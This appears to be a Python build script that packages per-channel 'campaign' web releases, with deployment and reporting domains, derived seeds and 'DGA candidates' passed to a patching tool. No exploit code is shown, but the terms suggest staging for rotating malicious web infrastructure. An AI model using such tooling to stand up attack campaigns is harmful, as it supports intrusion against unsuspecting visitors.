339 lines
11 KiB
Python
339 lines
11 KiB
Python
#!/usr/bin/env python3
|
|
"""Build one self-contained channel release from frontend/source.
|
|
|
|
Domains must be passed explicitly (build_api always supplies them).
|
|
|
|
Paths: frontend/{source,tools} → <channel-root>/{web,sync,out}
|
|
Default channel root: artifacts/channel/<id>/ under coruna-lab-web.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import hashlib
|
|
import json
|
|
import shutil
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
from _channel_patch import gen_channel_id, validate_channel_id
|
|
from _domain_patch import parse_domain_list
|
|
|
|
TOOLS = Path(__file__).resolve().parent
|
|
FRONTEND_ROOT = TOOLS.parent
|
|
PROJECT_ROOT = FRONTEND_ROOT.parent
|
|
SOURCE_ROOT = FRONTEND_ROOT / "source"
|
|
ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
|
|
LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling
|
|
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
|
SUPPORT_TEMPLATES = ("test", "blank")
|
|
DEFAULT_SUPPORT_TEMPLATE = "test"
|
|
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
|
|
|
|
|
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
|
skip = {"_bak", "__pycache__", ".DS_Store"}
|
|
return {n for n in names if n in skip or n.endswith(".pyc")}
|
|
|
|
|
|
def replace_tree(src: Path, dst: Path) -> None:
|
|
if dst.exists():
|
|
shutil.rmtree(dst)
|
|
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
|
|
|
|
|
def normalize_support_template(value: str | None) -> str:
|
|
template = (value or DEFAULT_SUPPORT_TEMPLATE).strip().lower()
|
|
if template not in SUPPORT_TEMPLATES:
|
|
raise SystemExit(
|
|
f"unsupported --support-template {value!r}; "
|
|
f"choose one of: {', '.join(SUPPORT_TEMPLATES)}"
|
|
)
|
|
return template
|
|
|
|
|
|
def apply_support_template(campaign_dir: Path, template: str) -> None:
|
|
"""Replace web/support.html according to the selected template.
|
|
|
|
test — keep the campaign copy (current source HUD page)
|
|
blank — overwrite with templates/support/blank.html (no HUD UI)
|
|
"""
|
|
template = normalize_support_template(template)
|
|
dest = campaign_dir / "support.html"
|
|
if template == "test":
|
|
if not dest.is_file():
|
|
raise SystemExit(f"missing support.html after campaign copy: {dest}")
|
|
return
|
|
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
|
|
if not src.is_file():
|
|
raise SystemExit(f"missing support template: {src}")
|
|
shutil.copyfile(src, dest)
|
|
|
|
|
|
def copy_campaign_template(dst_campaign: Path) -> None:
|
|
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
|
if not src.is_dir():
|
|
raise SystemExit(f"missing source campaign: {src}")
|
|
if dst_campaign.exists():
|
|
raise SystemExit(f"campaign already exists: {dst_campaign}")
|
|
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
|
|
|
|
|
|
def load_json(path: Path) -> dict | None:
|
|
if not path.is_file():
|
|
return None
|
|
return json.loads(path.read_text())
|
|
|
|
|
|
def release_files(channel_root: Path) -> list[dict[str, object]]:
|
|
files: list[dict[str, object]] = []
|
|
for top in ("web", "sync"):
|
|
for path in sorted((channel_root / top).rglob("*")):
|
|
if not path.is_file():
|
|
continue
|
|
data = path.read_bytes()
|
|
files.append(
|
|
{
|
|
"path": path.relative_to(channel_root).as_posix(),
|
|
"size": len(data),
|
|
"sha256": hashlib.sha256(data).hexdigest(),
|
|
}
|
|
)
|
|
return files
|
|
|
|
|
|
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
|
|
if not prev or prev.get("mode") != "fixed_domains":
|
|
return False
|
|
return (
|
|
prev.get("deployment", {}).get("domains") == dep
|
|
and prev.get("reporting", {}).get("domains") == rep
|
|
)
|
|
|
|
|
|
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
|
|
def one(label: str, domains: list[str]) -> str:
|
|
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
|
|
return hashlib.sha256(material).hexdigest()[:32]
|
|
|
|
dep_seed = one("deployment", dep)
|
|
rep_seed = one("reporting", rep)
|
|
if dep_seed == rep_seed:
|
|
rep_seed = one("reporting/alt", rep)
|
|
return dep_seed, rep_seed
|
|
|
|
|
|
def pick_channel(explicit: str | None, channels_root: Path) -> str:
|
|
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
|
|
while (channels_root / channel).exists():
|
|
if explicit:
|
|
raise SystemExit(f"channel/{channel} already exists; choose another --channel-id")
|
|
channel = gen_channel_id()
|
|
return channel
|
|
|
|
|
|
def resolve_python() -> str:
|
|
"""PHP/panel often launches `python3` such that sys.executable is ''."""
|
|
exe = (sys.executable or "").strip()
|
|
if exe:
|
|
return exe
|
|
for name in ("python3", "python"):
|
|
found = shutil.which(name)
|
|
if found:
|
|
return found
|
|
raise SystemExit(
|
|
"cannot locate python interpreter (sys.executable is empty; install python3 on PATH)"
|
|
)
|
|
|
|
|
|
def run(cmd: list[str]) -> None:
|
|
print("+", " ".join(cmd), flush=True)
|
|
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
|
|
|
|
|
def resolve_domains(cli_dep: list[str], cli_rep: list[str]) -> tuple[list[str], list[str]]:
|
|
if not cli_dep or not cli_rep:
|
|
raise SystemExit(
|
|
"provide both --deployment-domains and --reporting-domains "
|
|
"(Laravel no longer supplies domains to this project)."
|
|
)
|
|
return (
|
|
parse_domain_list(cli_dep, label="deployment"),
|
|
parse_domain_list(cli_rep, label="reporting"),
|
|
)
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description=(
|
|
"Create an isolated channel release containing web/ + sync/ from source."
|
|
)
|
|
)
|
|
parser.add_argument(
|
|
"--channel-id",
|
|
help="optional 32-char [0-9a-z] channel id (default: random, unique under web/)",
|
|
)
|
|
parser.add_argument(
|
|
"--deployment-domains",
|
|
action="append",
|
|
required=True,
|
|
help="Deployment hosts (comma-separated or repeatable)",
|
|
)
|
|
parser.add_argument(
|
|
"--reporting-domains",
|
|
action="append",
|
|
required=True,
|
|
help="Reporting hosts (comma-separated or repeatable)",
|
|
)
|
|
parser.add_argument("--deployment-seed", help="optional; default: derive from domains")
|
|
parser.add_argument("--reporting-seed", help="optional; default: derive from domains")
|
|
parser.add_argument(
|
|
"--root",
|
|
type=Path,
|
|
help=(
|
|
"exact channel output root containing web/ + sync/ "
|
|
"(default: artifacts/channel/<channel-id>)"
|
|
),
|
|
)
|
|
parser.add_argument(
|
|
"--force",
|
|
action="store_true",
|
|
help="replace an existing channel output root",
|
|
)
|
|
parser.add_argument("--force-sync", action="store_true", help=argparse.SUPPRESS)
|
|
parser.add_argument(
|
|
"-n",
|
|
"--count",
|
|
type=int,
|
|
default=5,
|
|
help="DGA candidates for patch_all when rebuilding sync (default 5)",
|
|
)
|
|
parser.add_argument(
|
|
"--support-template",
|
|
default=DEFAULT_SUPPORT_TEMPLATE,
|
|
choices=SUPPORT_TEMPLATES,
|
|
help=(
|
|
"support.html template: test (source HUD page) or blank "
|
|
"(no HUD UI; default: test)"
|
|
),
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
|
src_sync = SOURCE_ROOT / "sync"
|
|
if not src_campaign.is_dir():
|
|
raise SystemExit(f"missing source campaign: {src_campaign}")
|
|
if not src_sync.is_dir():
|
|
raise SystemExit(f"missing source sync: {src_sync}")
|
|
|
|
fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains)
|
|
support_template = normalize_support_template(args.support_template)
|
|
channels_root = ARTIFACTS_ROOT / "channel"
|
|
channel = (
|
|
validate_channel_id(args.channel_id)
|
|
if args.channel_id
|
|
else pick_channel(None, channels_root)
|
|
)
|
|
channel_root = args.root.resolve() if args.root else (channels_root / channel).resolve()
|
|
if channel_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in channel_root.parents:
|
|
raise SystemExit("refusing to build into frontend/source")
|
|
if channel_root.exists():
|
|
if not (args.force or args.force_sync):
|
|
raise SystemExit(f"channel output already exists: {channel_root} (use --force)")
|
|
shutil.rmtree(channel_root)
|
|
channel_root.parent.mkdir(parents=True, exist_ok=True)
|
|
campaign_dir = channel_root / "web"
|
|
sync_dir = channel_root / "sync"
|
|
out_root = channel_root / "out"
|
|
|
|
print("=== new_project ===")
|
|
print(f"channel: {channel}")
|
|
print(f"web dest: {campaign_dir}")
|
|
print(f"support: template={support_template}")
|
|
print("domains: rebuild isolated web + sync")
|
|
print(f" deployment: {', '.join(fixed_dep)}")
|
|
print(f" reporting: {', '.join(fixed_rep)}")
|
|
print()
|
|
|
|
print("=== copy campaign template ===")
|
|
copy_campaign_template(campaign_dir)
|
|
apply_support_template(campaign_dir, support_template)
|
|
replace_tree(src_sync, sync_dir)
|
|
print(f"created web/ + sync/ (support_template={support_template})")
|
|
|
|
domain_args: list[str] = []
|
|
for item in fixed_dep:
|
|
domain_args += ["--deployment-domains", item]
|
|
for item in fixed_rep:
|
|
domain_args += ["--reporting-domains", item]
|
|
|
|
py = resolve_python()
|
|
|
|
derived_dep, derived_rep = seeds_from_domains(fixed_dep, fixed_rep)
|
|
dep = args.deployment_seed or derived_dep
|
|
rep = args.reporting_seed or derived_rep
|
|
cmd = [
|
|
py,
|
|
str(TOOLS / "patch_all.py"),
|
|
"--apply",
|
|
"--root",
|
|
str(channel_root),
|
|
"--channel-id",
|
|
channel,
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"-n",
|
|
str(args.count),
|
|
*domain_args,
|
|
]
|
|
try:
|
|
print()
|
|
print("=== patch_all --apply ===")
|
|
run(cmd)
|
|
except BaseException:
|
|
shutil.rmtree(channel_root, ignore_errors=True)
|
|
raise
|
|
|
|
secondary_manifest = load_json(out_root / "secondary" / "MANIFEST.json") or {}
|
|
sync_manifest = load_json(out_root / "sync" / "MANIFEST.json") or {}
|
|
release_manifest = {
|
|
"schema_version": 1,
|
|
"channel_id": channel,
|
|
"support_template": support_template,
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
"deployment_domains": fixed_dep,
|
|
"reporting_domains": fixed_rep,
|
|
"support_path": f"/channel/{channel}/web/support.html",
|
|
"daily_path": f"/channel/{channel}/sync/daily.html",
|
|
"secondary_manifest_sha256": hashlib.sha256(
|
|
json.dumps(secondary_manifest, sort_keys=True).encode()
|
|
).hexdigest(),
|
|
"sync_manifest_sha256": hashlib.sha256(
|
|
json.dumps(sync_manifest, sort_keys=True).encode()
|
|
).hexdigest(),
|
|
"files": release_files(channel_root),
|
|
}
|
|
(channel_root / "manifest.json").write_text(
|
|
json.dumps(release_manifest, indent=2) + "\n"
|
|
)
|
|
|
|
print()
|
|
print("=== ready ===")
|
|
print(f"web: {campaign_dir}")
|
|
print(f"sync: {sync_dir}")
|
|
print(f"channel: {out_root / 'channel.json'}")
|
|
print(f"domains: {out_root / 'domains.json'}")
|
|
print(f"manifest:{channel_root / 'manifest.json'}")
|
|
print()
|
|
print(f"served: /channel/{channel}/web/support.html")
|
|
print(f" /channel/{channel}/sync/daily.html")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|